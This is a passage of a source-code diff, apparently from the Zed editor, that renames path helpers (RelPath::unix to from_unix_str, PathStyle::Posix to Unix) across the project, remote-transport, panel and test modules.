--- a/crates/project/src/toolchain_store.rs
+++ b/crates/project/src/toolchain_store.rs
@@ -263,7 +263,7 @@ impl ToolchainStore {
             };
             let worktree_id = WorktreeId::from_proto(envelope.payload.worktree_id);
             let path = if let Some(path) = envelope.payload.path {
-                RelPath::from_proto(&path)?
+                RelPath::from_unix_str(&path)?.into()
             } else {
                 RelPath::empty_arc()
             };
@@ -277,7 +277,7 @@ impl ToolchainStore {
         envelope: TypedEnvelope<proto::ActiveToolchain>,
         mut cx: AsyncApp,
     ) -> Result<proto::ActiveToolchainResponse> {
-        let path = RelPath::unix(envelope.payload.path.as_deref().unwrap_or(""))?;
+        let path = RelPath::from_unix_str(envelope.payload.path.as_deref().unwrap_or(""))?;
         let toolchain = this
             .update(&mut cx, |this, cx| {
                 let language_name = LanguageName::from_proto(envelope.payload.language_name);
@@ -314,7 +314,8 @@ impl ToolchainStore {
             .update(&mut cx, |this, cx| {
                 let language_name = LanguageName::from_proto(envelope.payload.language_name);
                 let worktree_id = WorktreeId::from_proto(envelope.payload.worktree_id);
-                let path = RelPath::from_proto(envelope.payload.path.as_deref().unwrap_or(""))?;
+                let path =
+                    RelPath::from_unix_str(envelope.payload.path.as_deref().unwrap_or(""))?.into();
                 anyhow::Ok(this.list_toolchains(
                     ProjectPath { worktree_id, path },
                     language_name,
@@ -364,7 +365,7 @@ impl ToolchainStore {
             has_values,
             toolchains,
             groups,
-            relative_worktree_path: Some(relative_path.to_proto()),
+            relative_worktree_path: Some(relative_path.as_unix_str().to_owned()),
         })
     }
 
@@ -637,7 +638,7 @@ impl RemoteToolchainStore {
                                 path: path.to_string_lossy().into_owned(),
                                 raw_json: toolchain.as_json.to_string(),
                             }),
-                            path: Some(project_path.path.to_proto()),
+                            path: Some(project_path.path.as_unix_str().to_owned()),
                         })
                         .await
                         .log_err()?;
@@ -667,7 +668,7 @@ impl RemoteToolchainStore {
                     project_id,
                     worktree_id: path.worktree_id.to_proto(),
                     language_name: language_name.clone().into(),
-                    path: Some(path.path.to_proto()),
+                    path: Some(path.path.as_unix_str().to_owned()),
                 })
                 .await
                 .log_err()?;
@@ -693,7 +694,7 @@ impl RemoteToolchainStore {
                     Some((usize::try_from(group.start_index).ok()?, group.name.into()))
                 })
                 .collect();
-            let relative_path = RelPath::from_proto(
+            let relative_path = RelPath::from_unix_str(
                 response
                     .relative_worktree_path
                     .as_deref()
@@ -706,7 +707,7 @@ impl RemoteToolchainStore {
                     default: None,
                     groups,
                 },
-                relative_path,
+                relative_path.into(),
             ))
         })
     }
@@ -724,7 +725,7 @@ impl RemoteToolchainStore {
                     project_id,
                     worktree_id: path.worktree_id.to_proto(),
                     language_name: language_name.clone().into(),
-                    path: Some(path.path.to_proto()),
+                    path: Some(path.path.as_unix_str().to_owned()),
                 })
                 .await
                 .log_err()?;
diff --git a/crates/project/src/worktree_store.rs b/crates/project/src/worktree_store.rs
index 911f9f79f3be0b..17ca9a61dd4f09 100644
--- a/crates/project/src/worktree_store.rs
+++ b/crates/project/src/worktree_store.rs
@@ -513,7 +513,7 @@ impl WorktreeStore {
                 let response = upstream_client.request(proto::CopyProjectEntry {
                     project_id: *upstream_project_id,
                     entry_id: entry_id.to_proto(),
-                    new_path: new_project_path.path.to_proto(),
+                    new_path: new_project_path.path.as_unix_str().to_owned(),
                     new_worktree_id: new_project_path.worktree_id.to_proto(),
                 });
                 cx.spawn(async move |_, cx| {
@@ -668,7 +668,7 @@ impl WorktreeStore {
                 let response = upstream_client.request(proto::RenameProjectEntry {
                     project_id: *upstream_project_id,
                     entry_id: entry_id.to_proto(),
-                    new_path: new_project_path.path.to_proto(),
+                    new_path: new_project_path.path.as_unix_str().to_owned(),
                     new_worktree_id: new_project_path.worktree_id.to_proto(),
                 });
                 cx.spawn(async move |_, cx| {
@@ -1231,7 +1231,7 @@ impl WorktreeStore {
         let new_worktree_id = WorktreeId::from_proto(envelope.payload.new_worktree_id);
         let new_project_path = (
             new_worktree_id,
-            RelPath::from_proto(&envelope.payload.new_path)?,
+            RelPath::from_unix_str(&envelope.payload.new_path)?,
         );
         let (scan_id, entry) = this.update(&mut cx, |this, cx| {
             let Some((_, project_id)) = this.downstream_client else {
@@ -1289,7 +1289,7 @@ impl WorktreeStore {
     ) -> Result<proto::ProjectEntryResponse> {
         let entry_id = ProjectEntryId::from_proto(request.entry_id);
         let new_worktree_id = WorktreeId::from_proto(request.new_worktree_id);
-        let rel_path = RelPath::from_proto(&request.new_path)
+        let rel_path = RelPath::from_unix_str(&request.new_path)
             .with_context(|| format!("received invalid relative path {:?}", &request.new_path))?;
 
         let (scan_id, task) = this.update(&mut cx, |this, cx| {
diff --git a/crates/project/tests/integration/git_store.rs b/crates/project/tests/integration/git_store.rs
index 0c58c7adf23f1e..8a1b2842290599 100644
--- a/crates/project/tests/integration/git_store.rs
+++ b/crates/project/tests/integration/git_store.rs
@@ -721,7 +721,12 @@ mod git_traversal {
 
         let traversal = GitTraversal::new(
             &repo_snapshots,
-            worktree_snapshot.traverse_from_path(true, false, true, RelPath::unix("x").unwrap()),
+            worktree_snapshot.traverse_from_path(
+                true,
+                false,
+                true,
+                RelPath::from_unix_str("x").unwrap(),
+            ),
         );
         let entries = traversal
             .map(|entry| (entry.path.clone(), entry.git_summary))
@@ -1204,45 +1209,44 @@ mod git_worktrees {
         let work_dir = Path::new("/code/my-project");
 
         // Valid: sibling
-        assert!(worktrees_directory_for_repo(work_dir, "../worktrees", PathStyle::Posix).is_ok());
+        assert!(worktrees_directory_for_repo(work_dir, "../worktrees", PathStyle::Unix).is_ok());
 
         // Valid: subdirectory
         assert!(
-            worktrees_directory_for_repo(work_dir, ".git/zed-worktrees", PathStyle::Posix).is_ok()
+            worktrees_directory_for_repo(work_dir, ".git/zed-worktrees", PathStyle::Unix).is_ok()
         );
-        assert!(worktrees_directory_for_repo(work_dir, "my-worktrees", PathStyle::Posix).is_ok());
+        assert!(worktrees_directory_for_repo(work_dir, "my-worktrees", PathStyle::Unix).is_ok());
 
         // Invalid: just ".." would resolve back to the working directory itself
-        let err = worktrees_directory_for_repo(work_dir, "..", PathStyle::Posix).unwrap_err();
+        let err = worktrees_directory_for_repo(work_dir, "..", PathStyle::Unix).unwrap_err();
         assert!(err.to_string().contains("must not be \"..\""));
 
         // Invalid: ".." with trailing separators
-        let err = worktrees_directory_for_repo(work_dir, "..\\", PathStyle::Posix).unwrap_err();
+        let err = worktrees_directory_for_repo(work_dir, "..\\", PathStyle::Unix).unwrap_err();
         assert!(err.to_string().contains("must not be \"..\""));
-        let err = worktrees_directory_for_repo(work_dir, "../", PathStyle::Posix).unwrap_err();
+        let err = worktrees_directory_for_repo(work_dir, "../", PathStyle::Unix).unwrap_err();
         assert!(err.to_string().contains("must not be \"..\""));
 
         // Invalid: empty string would resolve to the working directory itself
-        let err = worktrees_directory_for_repo(work_dir, "", PathStyle::Posix).unwrap_err();
+        let err = worktrees_directory_for_repo(work_dir, "", PathStyle::Unix).unwrap_err();
         assert!(err.to_string().contains("must not be empty"));
 
         // Invalid: absolute path
         let err =
-            worktrees_directory_for_repo(work_dir, "/tmp/worktrees", PathStyle::Posix).unwrap_err();
+            worktrees_directory_for_repo(work_dir, "/tmp/worktrees", PathStyle::Unix).unwrap_err();
         assert!(err.to_string().contains("relative path"));
 
         // Invalid: "/" is absolute on Unix
-        let err = worktrees_directory_for_repo(work_dir, "/", PathStyle::Posix).unwrap_err();
+        let err = worktrees_directory_for_repo(work_dir, "/", PathStyle::Unix).unwrap_err();
         assert!(err.to_string().contains("relative path"));
 
         // Invalid: "///" is absolute
-        let err = worktrees_directory_for_repo(work_dir, "///", PathStyle::Posix).unwrap_err();
+        let err = worktrees_directory_for_repo(work_dir, "///", PathStyle::Unix).unwrap_err();
         assert!(err.to_string().contains("relative path"));
 
         // Invalid: escapes too far up
-        let err =
-            worktrees_directory_for_repo(work_dir, "../../other-project/wt", PathStyle::Posix)
-                .unwrap_err();
+        let err = worktrees_directory_for_repo(work_dir, "../../other-project/wt", PathStyle::Unix)
+            .unwrap_err();
         assert!(err.to_string().contains("outside"));
     }
 
@@ -1251,7 +1255,7 @@ mod git_worktrees {
         let work_dir = Path::new("/home/user/dev/lsp-tests");
 
         let directory =
-            worktrees_directory_for_repo(work_dir, "../worktrees", PathStyle::Posix).unwrap();
+            worktrees_directory_for_repo(work_dir, "../worktrees", PathStyle::Unix).unwrap();
 
         assert_eq!(
             directory,
diff --git a/crates/project/tests/integration/project_search.rs b/crates/project/tests/integration/project_search.rs
index 1e40b7d94a94db..686dc4207e0322 100644
--- a/crates/project/tests/integration/project_search.rs
+++ b/crates/project/tests/integration/project_search.rs
@@ -48,7 +48,7 @@ async fn test_path_inclusion_matcher(cx: &mut gpui::TestAppContext) {
     let entry = Entry {
         id: ProjectEntryId::from_proto(1),
         kind: EntryKind::UnloadedDir,
-        path: Arc::from(RelPath::unix(Path::new("src/data")).unwrap()),
+        path: Arc::from(RelPath::from_unix_str(Path::new("src/data")).unwrap()),
         inode: 0,
         mtime: None,
         canonical_path: None,
@@ -90,7 +90,7 @@ async fn test_path_inclusion_matcher(cx: &mut gpui::TestAppContext) {
     // 2. Test searching for `field`, including ignored files but updating
     // `files_to_include` to only include files under `src/lib`.
     let include_ignored = true;
-    let files_to_include = PathMatcher::new(vec!["src/lib"], PathStyle::Posix).unwrap();
+    let files_to_include = PathMatcher::new(vec!["src/lib"], PathStyle::Unix).unwrap();
     let files_to_exclude = PathMatcher::default();
     let match_full_paths = false;
     let search_query = SearchQuery::text(
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index e4a730f1bc1923..dc9057409bc7f5 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -15719,7 +15719,7 @@ mod disable_ai_settings_tests {
 
         let worktree_id = WorktreeId::from_usize(1);
         let rel_path = |path: &str| -> std::sync::Arc<util::rel_path::RelPath> {
-            std::sync::Arc::from(util::rel_path::RelPath::unix(path).unwrap())
+            std::sync::Arc::from(util::rel_path::RelPath::from_unix_str(path).unwrap())
         };
         let project_path = rel_path("project");
         let settings_location = SettingsLocation {
diff --git a/crates/project_panel/benches/sorting.rs b/crates/project_panel/benches/sorting.rs
index 0c3f498fcd2025..9e11e0a11462e7 100644
--- a/crates/project_panel/benches/sorting.rs
+++ b/crates/project_panel/benches/sorting.rs
@@ -21,7 +21,7 @@ fn load_linux_repo_snapshot() -> Vec<GitEntry> {
 
             let entry = Entry {
                 kind,
-                path: Arc::from(RelPath::unix(&(line.trim_end()[2..])).unwrap()),
+                path: Arc::from(RelPath::from_unix_str(&(line.trim_end()[2..])).unwrap()),
                 id: ProjectEntryId::default(),
                 size: 0,
                 inode: 0,
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index b9bebf4249136e..0f9e1d98e2fc29 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -1841,7 +1841,7 @@ impl ProjectPanel {
             }
             let trimmed_filename = trimmed_filename.trim_start_matches('/');
 
-            let Ok(filename) = RelPath::unix(trimmed_filename) else {
+            let Ok(filename) = RelPath::from_unix_str(trimmed_filename) else {
                 edit_state.validation_state = ValidationState::Warning(
                     "File or directory name contains leading or trailing whitespace.".to_string(),
                 );
@@ -1865,7 +1865,7 @@ impl ProjectPanel {
                     let new_path = if let Some(parent) = entry.path.clone().parent() {
                         parent.join(&filename)
                     } else {
-                        filename.into()
+                        filename.to_owned()
                     };
                     if let Some(existing) = worktree.read(cx).entry_for_path(&new_path)
                         && existing.id != entry.id
@@ -1950,7 +1950,7 @@ impl ProjectPanel {
             });
         } else {
             let new_path = if let Some(parent) = entry.path.parent() {
-                parent.join(&filename)
+                parent.join(&filename).into()
             } else {
                 filename.clone()
             };
@@ -3303,7 +3303,7 @@ impl ProjectPanel {
         let source_entry = source_worktree.read(cx).entry_for_id(source.entry_id)?;
 
         let clipboard_entry_file_name = source_entry.path.file_name()?.to_string();
-        new_path.push(RelPath::unix(&clipboard_entry_file_name).unwrap());
+        new_path.push(RelPath::from_unix_str(&clipboard_entry_file_name).unwrap());
 
         let (extension, file_name_without_extension) = if source_entry.is_file() {
             (
@@ -3339,7 +3339,7 @@ impl ProjectPanel {
                     new_file_name.push_str(extension);
                 }
 
-                new_path.push(RelPath::unix(&new_file_name).unwrap());
+                new_path.push(RelPath::from_unix_str(&new_file_name).unwrap());
 
                 disambiguation_range = Some(0..(file_name_len + disambiguation_len));
                 ix += 1;
@@ -3858,7 +3858,7 @@ impl ProjectPanel {
             let dir_path = if include_root {
                 worktree.read(cx).root_name().join(&dir_path)
             } else {
-                dir_path
+                dir_path.to_rel_path_buf()
             };
 
             self.workspace
@@ -3923,7 +3923,7 @@ impl ProjectPanel {
             let Some(source_name) = source_path.path.file_name() else {
                 return (None, None);
             };
-            let Ok(source_name) = RelPath::unix(source_name) else {
+            let Ok(source_name) = RelPath::from_unix_str(source_name) else {
                 return (None, None);
             };
 
@@ -4183,7 +4183,10 @@ impl ProjectPanel {
             entry: Entry {
                 id: NEW_ENTRY_ID,
                 kind: new_entry_kind,
-                path: parent_entry.path.join(RelPath::unix("\0").unwrap()),
+                path: parent_entry
+                    .path
+                    .join(RelPath::from_unix_str("\0").unwrap())
+                    .into(),
                 inode: 0,
                 mtime: parent_entry.mtime,
                 size: parent_entry.size,
@@ -4390,19 +4393,21 @@ impl ProjectPanel {
                                         entry.path.strip_prefix(root_folded_entry).ok().and_then(
                                             |suffix| {
                                                 Some(
-                                                    RelPath::unix(root_folded_entry.file_name()?)
-                                                        .unwrap()
-                                                        .join(suffix),
+                                                    RelPath::from_unix_str(
+                                                        root_folded_entry.file_name()?,
+                                                    )
+                                                    .unwrap()
+                                                    .join(suffix),
                                                 )
                                             },
                                         )
                                     })
                                     .or_else(|| {
                                         entry.path.file_name().map(|file_name| {
-                                            RelPath::unix(file_name).unwrap().into()
+                                            RelPath::from_unix_str(file_name).unwrap().to_owned()
                                         })
                                     })
-                                    .unwrap_or_else(|| entry.path.clone());
+                                    .unwrap_or_else(|| entry.path.to_rel_path_buf());
                                 let depth = path.components().count();
                                 (depth, path.as_unix_str().chars().count())
                             };
@@ -4588,7 +4593,7 @@ impl ProjectPanel {
             if let Some(name) = path.file_name()
                 && let Some(name) = name.to_str()
             {
-                let target_path = target_directory.join(RelPath::unix(name).unwrap());
+                let target_path = target_directory.join(RelPath::from_unix_str(name).unwrap());
                 if worktree.read(cx).entry_for_path(&target_path).is_some() {
                     paths_to_replace.push((name.to_string(), path.clone()));
                 }
@@ -4946,7 +4951,7 @@ impl ProjectPanel {
                                         move_results.iter().find(|(id, _)| id == resolved_id)?;
                                     let worktree = project.worktree_for_entry(new_entry.id, cx)?;
                                     let leaf_path = new_entry.path.join(suffix);
-                                    Some((worktree, leaf_path))
+                                    Some((worktree, leaf_path.into()))
                                 })
                                 .collect()
                         })
diff --git a/crates/project_symbols/src/project_symbols.rs b/crates/project_symbols/src/project_symbols.rs
index 533913a654a6d9..b0cd93ac6ed6e3 100644
--- a/crates/project_symbols/src/project_symbols.rs
+++ b/crates/project_symbols/src/project_symbols.rs
@@ -262,7 +262,7 @@ impl PickerDelegate for ProjectSymbolsDelegate {
         let path = match &symbol.path {
             SymbolLocation::InProject(project_path) => {
                 let project = self.project.read(cx);
-                let mut path = project_path.path.clone();
+                let mut path = project_path.path.to_rel_path_buf();
                 if self.show_worktree_root_name
                     && let Some(worktree) = project.worktree_for_id(project_path.worktree_id, cx)
                 {
diff --git a/crates/recent_projects/src/dev_container_suggest.rs b/crates/recent_projects/src/dev_container_suggest.rs
index da802464d4a02b..2cb1dfde8272e2 100644
--- a/crates/recent_projects/src/dev_container_suggest.rs
+++ b/crates/recent_projects/src/dev_container_suggest.rs
@@ -17,13 +17,13 @@ const DEV_CONTAINER_SUGGEST_KEY: &str = "dev_container_suggest_dismissed";
 
 fn devcontainer_dir_path() -> &'static RelPath {
     static PATH: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".devcontainer").expect("valid path"));
+        LazyLock::new(|| RelPath::from_unix_str(".devcontainer").expect("valid path"));
     *PATH
 }
 
 fn devcontainer_json_path() -> &'static RelPath {
     static PATH: LazyLock<&'static RelPath> =
-        LazyLock::new(|| RelPath::unix(".devcontainer.json").expect("valid path"));
+        LazyLock::new(|| RelPath::from_unix_str(".devcontainer.json").expect("valid path"));
     *PATH
 }
 
diff --git a/crates/recent_projects/src/remote_servers.rs b/crates/recent_projects/src/remote_servers.rs
index f61585c047bb83..da093759700750 100644
--- a/crates/recent_projects/src/remote_servers.rs
+++ b/crates/recent_projects/src/remote_servers.rs
@@ -1845,7 +1845,7 @@ impl RemoteServerProjects {
                         .and_then(|path| path.into_abs_path())
                         .map(|path| RemotePathBuf::new(path, path_style))
                         .unwrap_or_else(|| match path_style {
-                            PathStyle::Posix => RemotePathBuf::from_str("/", PathStyle::Posix),
+                            PathStyle::Unix => RemotePathBuf::from_str("/", PathStyle::Unix),
                             PathStyle::Windows => {
                                 RemotePathBuf::from_str("C:\\", PathStyle::Windows)
                             }
@@ -2164,7 +2164,7 @@ impl RemoteServerProjects {
             if let Some(worktree) = worktree {
                 let tree_id = worktree.read(cx).id();
                 let devcontainer_path =
-                    match RelPath::new(&config_path, util::paths::PathStyle::Posix) {
+                    match RelPath::new(&config_path, util::paths::PathStyle::Unix) {
                         Ok(path) => path.into_owned(),
                         Err(error) => {
                             log::error!(
diff --git a/crates/remote/src/transport/docker.rs b/crates/remote/src/transport/docker.rs
index efefbe8e50d58d..d7996a9ad0eb61 100644
--- a/crates/remote/src/transport/docker.rs
+++ b/crates/remote/src/transport/docker.rs
@@ -90,7 +90,7 @@ impl DockerExecConnection {
 
         this.path_style = match remote_platform.os {
             RemoteOs::Windows => Some(PathStyle::Windows),
-            _ => Some(PathStyle::Posix),
+            _ => Some(PathStyle::Unix),
         };
 
         this.remote_platform = Some(remote_platform);
@@ -219,7 +219,7 @@ impl DockerExecConnection {
             version_str
         );
         let dst_path =
-            paths::remote_server_dir_relative().join(RelPath::unix(&binary_name).unwrap());
+            paths::remote_server_dir_relative().join(RelPath::from_unix_str(&binary_name).unwrap());
 
         let binary_exists_on_server = self
             .run_docker_exec(
@@ -240,7 +240,7 @@ impl DockerExecConnection {
         .await?
         {
             let tmp_path = paths::remote_server_dir_relative().join(
-                RelPath::unix(&format!(
+                RelPath::from_unix_str(&format!(
                     "download-{}-{}",
                     std::process::id(),
                     remote_server_path.file_name().unwrap().to_string_lossy()
@@ -257,11 +257,11 @@ impl DockerExecConnection {
             .await?;
             self.extract_server_binary(&dst_path, &tmp_path, &remote_dir_for_server, delegate, cx)
                 .await?;
-            return Ok(dst_path);
+            return Ok(dst_path.into());
         }
 
         if binary_exists_on_server {
-            return Ok(dst_path);
+            return Ok(dst_path.into());
         }
 
         let wanted_version = cx.update(|cx| match release_channel {
@@ -276,7 +276,7 @@ impl DockerExecConnection {
         })?;
 
         let tmp_path_gz = paths::remote_server_dir_relative().join(
-            RelPath::unix(&format!(
+            RelPath::from_unix_str(&format!(
                 "{}-download-{}.gz",
                 binary_name,
                 std::process::id()
@@ -302,7 +302,7 @@ impl DockerExecConnection {
                     )
                     .await
                     .context("extracting server binary")?;
-                    return Ok(dst_path);
+                    return Ok(dst_path.into());
                 }
                 Err(e) => {
                     log::error!(
@@ -334,7 +334,7 @@ impl DockerExecConnection {
         )
         .await
         .context("extracting server binary")?;
-        Ok(dst_path)
+        Ok(dst_path.into())
     }
 
     async fn docker_user_home_dir(&self) -> Result<String> {
@@ -850,7 +850,7 @@ impl RemoteConnection for DockerExecConnection {
     }
 
     fn path_style(&self) -> PathStyle {
-        self.path_style.unwrap_or(PathStyle::Posix)
+        self.path_style.unwrap_or(PathStyle::Unix)
     }
 
     fn remote_platform(&self) -> RemotePlatform {
diff --git a/crates/remote/src/transport/ssh.rs b/crates/remote/src/transport/ssh.rs
index f897bdd1d96760..463037ccc05096 100644
--- a/crates/remote/src/transport/ssh.rs
+++ b/crates/remote/src/transport/ssh.rs
@@ -773,7 +773,7 @@ impl SshRemoteConnection {
 
         let (ssh_path_style, ssh_default_system_shell) = match ssh_platform.os {
             RemoteOs::Windows => (PathStyle::Windows, ssh_shell.clone()),
-            _ => (PathStyle::Posix, String::from("/bin/sh")),
+            _ => (PathStyle::Unix, String::from("/bin/sh")),
         };
 
         let mut this = Self {
@@ -822,7 +822,7 @@ impl SshRemoteConnection {
             }
         );
         let dst_path =
-            paths::remote_server_dir_relative().join(RelPath::unix(&binary_name).unwrap());
+            paths::remote_server_dir_relative().join(RelPath::from_unix_str(&binary_name).unwrap());
 
         let binary_exists_on_server = self
             .socket
@@ -845,7 +845,7 @@ impl SshRemoteConnection {
         .await?
         {
             let tmp_path = paths::remote_server_dir_relative().join(
-                RelPath::unix(&format!(
+                RelPath::from_unix_str(&format!(
                     "download-{}-{}",
                     std::process::id(),
                     remote_server_path.file_name().unwrap().to_string_lossy()
@@ -856,11 +856,11 @@ impl SshRemoteConnection {
                 .await?;
             self.extract_server_binary(&dst_path, &tmp_path, delegate, cx)
                 .await?;
-            return Ok(dst_path);
+            return Ok(dst_path.into());
         }
 
         if binary_exists_on_server {
-            return Ok(dst_path);
+            return Ok(dst_path.into());
         }
 
         let wanted_version = cx.update(|cx| match release_channel {
@@ -875,7 +875,7 @@ impl SshRemoteConnection {
         })?;
 
         let tmp_path_compressed = remote_server_dir_relative().join(
-            RelPath::unix(&format!(
+            RelPath::from_unix_str(&format!(
                 "{}-download-{}.{}",
                 binary_name,
                 std::process::id(),
@@ -905,7 +905,7 @@ impl SshRemoteConnection {
                     self.extract_server_binary(&dst_path, &tmp_path_compressed, delegate, cx)
                         .await
                         .context("extracting server binary")?;
-                    return Ok(dst_path);
+                    return Ok(dst_path.into());
                 }
                 Err(e) => {
                     log::error!(
@@ -930,7 +930,7 @@ impl SshRemoteConnection {
         self.extract_server_binary(&dst_path, &tmp_path_compressed, delegate, cx)
             .await
             .context("extracting server binary")?;
-        Ok(dst_path)
+        Ok(dst_path.into())
     }
 
     async fn download_binary_on_server(
@@ -2041,7 +2041,7 @@ mod tests {
             Some("~/work".to_string()),
             None,
             env.clone(),
-            PathStyle::Posix,
+            PathStyle::Unix,
             "/bin/bash",
             ShellKind::Posix,
             vec!["-o".to_string(), "ControlMaster=auto".to_string()],
@@ -2061,7 +2061,7 @@ mod tests {
             Some("~/work".to_string()),
             None,
             env.clone(),
-            PathStyle::Posix,
+            PathStyle::Unix,
             "/bin/fish",
             ShellKind::Fish,
             vec!["-p".to_string(), "2222".to_string()],
@@ -2096,7 +2096,7 @@ mod tests {
             None,
             Some((1, "foo".to_owned(), 2)),
             env.clone(),
-            PathStyle::Posix,
+            PathStyle::Unix,
             "/bin/fish",
             ShellKind::Fish,
             vec!["-p".to_string(), "2222".to_string()],
@@ -2136,7 +2136,7 @@ mod tests {
             None,
             None,
             HashMap::default(),
-            PathStyle::Posix,
+            PathStyle::Unix,
             "/bin/bash",
             ShellKind::Posix,
             vec![],
@@ -2291,7 +2291,7 @@ mod tests {
             None,
             Some((8080, "::1".to_owned(), 80)),
             HashMap::default(),
-            PathStyle::Posix,
+            PathStyle::Unix,
             "/bin/bash",
             ShellKind::Posix,
             vec![],
diff --git a/crates/remote/src/transport/wsl.rs b/crates/remote/src/transport/wsl.rs
index 9b8e77639444d4..a1f0d6326050e6 100644
--- a/crates/remote/src/transport/wsl.rs
+++ b/crates/remote/src/transport/wsl.rs
@@ -203,10 +203,10 @@ impl WslRemoteConnection {
         );
 
         let dst_path =
-            paths::remote_server_dir_relative().join(RelPath::unix(&binary_name).unwrap());
+            paths::remote_server_dir_relative().join(RelPath::from_unix_str(&binary_name).unwrap());
 
         if let Some(parent) = dst_path.parent() {
-            let parent = parent.display(PathStyle::Posix);
+            let parent = parent.display(PathStyle::Unix);
             let mkdir = self.shell_kind.prepend_command_prefix("mkdir");
             self.run_wsl_command(&mkdir, &["-p", &parent])
                 .await
@@ -214,7 +214,7 @@ impl WslRemoteConnection {
         }
 
         let binary_exists_on_server = self
-            .run_wsl_command(&dst_path.display(PathStyle::Posix), &["version"])
+            .run_wsl_command(&dst_path.display(PathStyle::Unix), &["version"])
             .await
             .is_ok();
 
@@ -228,7 +228,7 @@ impl WslRemoteConnection {
         .await?
         {
             let tmp_path = paths::remote_server_dir_relative().join(
-                &RelPath::unix(&format!(
+                &RelPath::from_unix_str(&format!(
                     "download-{}-{}",
                     std::process::id(),
                     remote_server_path.file_name().unwrap().to_string_lossy()
@@ -239,11 +239,11 @@ impl WslRemoteConnection {
                 .await?;
             self.extract_and_install(&tmp_path, &dst_path, delegate, cx)
                 .await?;
-            return Ok(dst_path);
+            return Ok(dst_path.into());
         }
 
         if binary_exists_on_server {
-            return Ok(dst_path);
+            return Ok(dst_path.into());
         }
 
         let wanted_version = match release_channel {
@@ -257,16 +257,16 @@ impl WslRemoteConnection {
 
         let tmp_path = format!(
             "{}.{}.gz",
-            dst_path.display(PathStyle::Posix),
+            dst_path.display(PathStyle::Unix),
             std::process::id()
         );
-        let tmp_path = RelPath::unix(&tmp_path).unwrap();
+        let tmp_path = RelPath::from_unix_str(&tmp_path).unwrap();
 
         self.upload_file(&src_path, &tmp_path, delegate, cx).await?;
         self.extract_and_install(&tmp_path, &dst_path, delegate, cx)
             .await?;
 
-        Ok(dst_path)
+        Ok(dst_path.into())
     }
 
     async fn upload_file(
@@ -279,7 +279,7 @@ impl WslRemoteConnection {
         delegate.set_status(Some("Uploading remote server"), cx);
 
         if let Some(parent) = dst_path.parent() {
-            let parent = parent.display(PathStyle::Posix);
+            let parent = parent.display(PathStyle::Unix);
             let mkdir = self.shell_kind.prepend_command_prefix("mkdir");
             self.run_wsl_command(&mkdir, &["-p", &parent])
                 .await
@@ -301,7 +301,7 @@ impl WslRemoteConnection {
         let cp = self.shell_kind.prepend_command_prefix("cp");
         self.run_wsl_command(
             &cp,
-            &["-f", &src_path_in_wsl, &dst_path.display(PathStyle::Posix)],
+            &["-f", &src_path_in_wsl, &dst_path.display(PathStyle::Unix)],
         )
         .await
         .map_err(|e| {
@@ -327,8 +327,8 @@ impl WslRemoteConnection {
     ) -> Result<()> {
         delegate.set_status(Some("Extracting remote server"), cx);
 
-        let tmp_path_str = tmp_path.display(PathStyle::Posix);
-        let dst_path_str = dst_path.display(PathStyle::Posix);
+        let tmp_path_str = tmp_path.display(PathStyle::Unix);
+        let dst_path_str = dst_path.display(PathStyle::Unix);
 
         // Build extraction script with proper error handling
         let script = if tmp_path_str.ends_with(".gz") {
@@ -379,7 +379,7 @@ impl RemoteConnection for WslRemoteConnection {
             }
         }
 
-        proxy_args.push(remote_binary_path.display(PathStyle::Posix).into_owned());
+        proxy_args.push(remote_binary_path.display(PathStyle::Unix).into_owned());
         proxy_args.push("proxy".to_owned());
         proxy_args.push("--identifier".to_owned());
         proxy_args.push(unique_identifier);
@@ -467,7 +467,7 @@ impl RemoteConnection for WslRemoteConnection {
 
         let shell_kind = self.shell_kind;
         let working_dir = working_dir
-            .map(|working_dir| RemotePathBuf::new(working_dir, PathStyle::Posix).to_string())
+            .map(|working_dir| RemotePathBuf::new(working_dir, PathStyle::Unix).to_string())
             .unwrap_or("~".to_string());
 
         let mut exec = String::from("exec env ");
@@ -538,7 +538,7 @@ impl RemoteConnection for WslRemoteConnection {
     }
 
     fn path_style(&self) -> PathStyle {
-        PathStyle::Posix
+        PathStyle::Unix
     }
 
     fn remote_platform(&self) -> RemotePlatform {
diff --git a/crates/remote_server/src/headless_project.rs b/crates/remote_server/src/headless_project.rs
index db9ff6524c2b06..01bf3d680a7f22 100644
--- a/crates/remote_server/src/headless_project.rs
+++ b/crates/remote_server/src/headless_project.rs
@@ -585,7 +585,7 @@ impl HeadlessProject {
         mut cx: AsyncApp,
     ) -> Result<proto::OpenBufferResponse> {
         let worktree_id = WorktreeId::from_proto(message.payload.worktree_id);
-        let path = RelPath::from_proto(&message.payload.path)?;
+        let path = RelPath::from_unix_str(&message.payload.path)?.into();
         let (buffer_store, buffer) = this.update(&mut cx, |this, cx| {
             let buffer_store = this.buffer_store.clone();
             let buffer = this.buffer_store.update(cx, |buffer_store, cx| {
@@ -614,7 +614,7 @@ impl HeadlessProject {
     ) -> Result<proto::OpenImageResponse> {
         static NEXT_ID: AtomicU64 = AtomicU64::new(1);
         let worktree_id = WorktreeId::from_proto(message.payload.worktree_id);
-        let path = RelPath::from_proto(&message.payload.path)?;
+        let path = RelPath::from_unix_str(&message.payload.path)?;
         let project_id = message.payload.project_id;
         use proto::create_image_for_peer::Variant;
 
@@ -729,7 +729,7 @@ impl HeadlessProject {
         );
 
         let worktree_id = WorktreeId::from_proto(message.payload.worktree_id);
-        let path = RelPath::from_proto(&message.payload.path)?;
+        let path = RelPath::from_unix_str(&message.payload.path)?;
         let project_id = message.payload.project_id;
         let file_id = message.payload.file_id;
         log::debug!(
diff --git a/crates/settings/src/editorconfig_store.rs b/crates/settings/src/editorconfig_store.rs
index b309c6892c9686..df858f89a1c4d9 100644
--- a/crates/settings/src/editorconfig_store.rs
+++ b/crates/settings/src/editorconfig_store.rs
@@ -100,7 +100,9 @@ impl EditorconfigStore {
                             return Err(InvalidSettingsError::Editorconfig {
                                 message: e.to_string(),
                                 path: LocalSettingsPath::InWorktree(
-                                    rel_path.join(RelPath::unix(EDITORCONFIG_NAME).unwrap()),
+                                    rel_path
+                                        .join(RelPath::from_unix_str(EDITORCONFIG_NAME).unwrap())
+                                        .into(),
                                 ),
                             });
                         }
diff --git a/crates/settings/src/settings_store.rs b/crates/settings/src/settings_store.rs
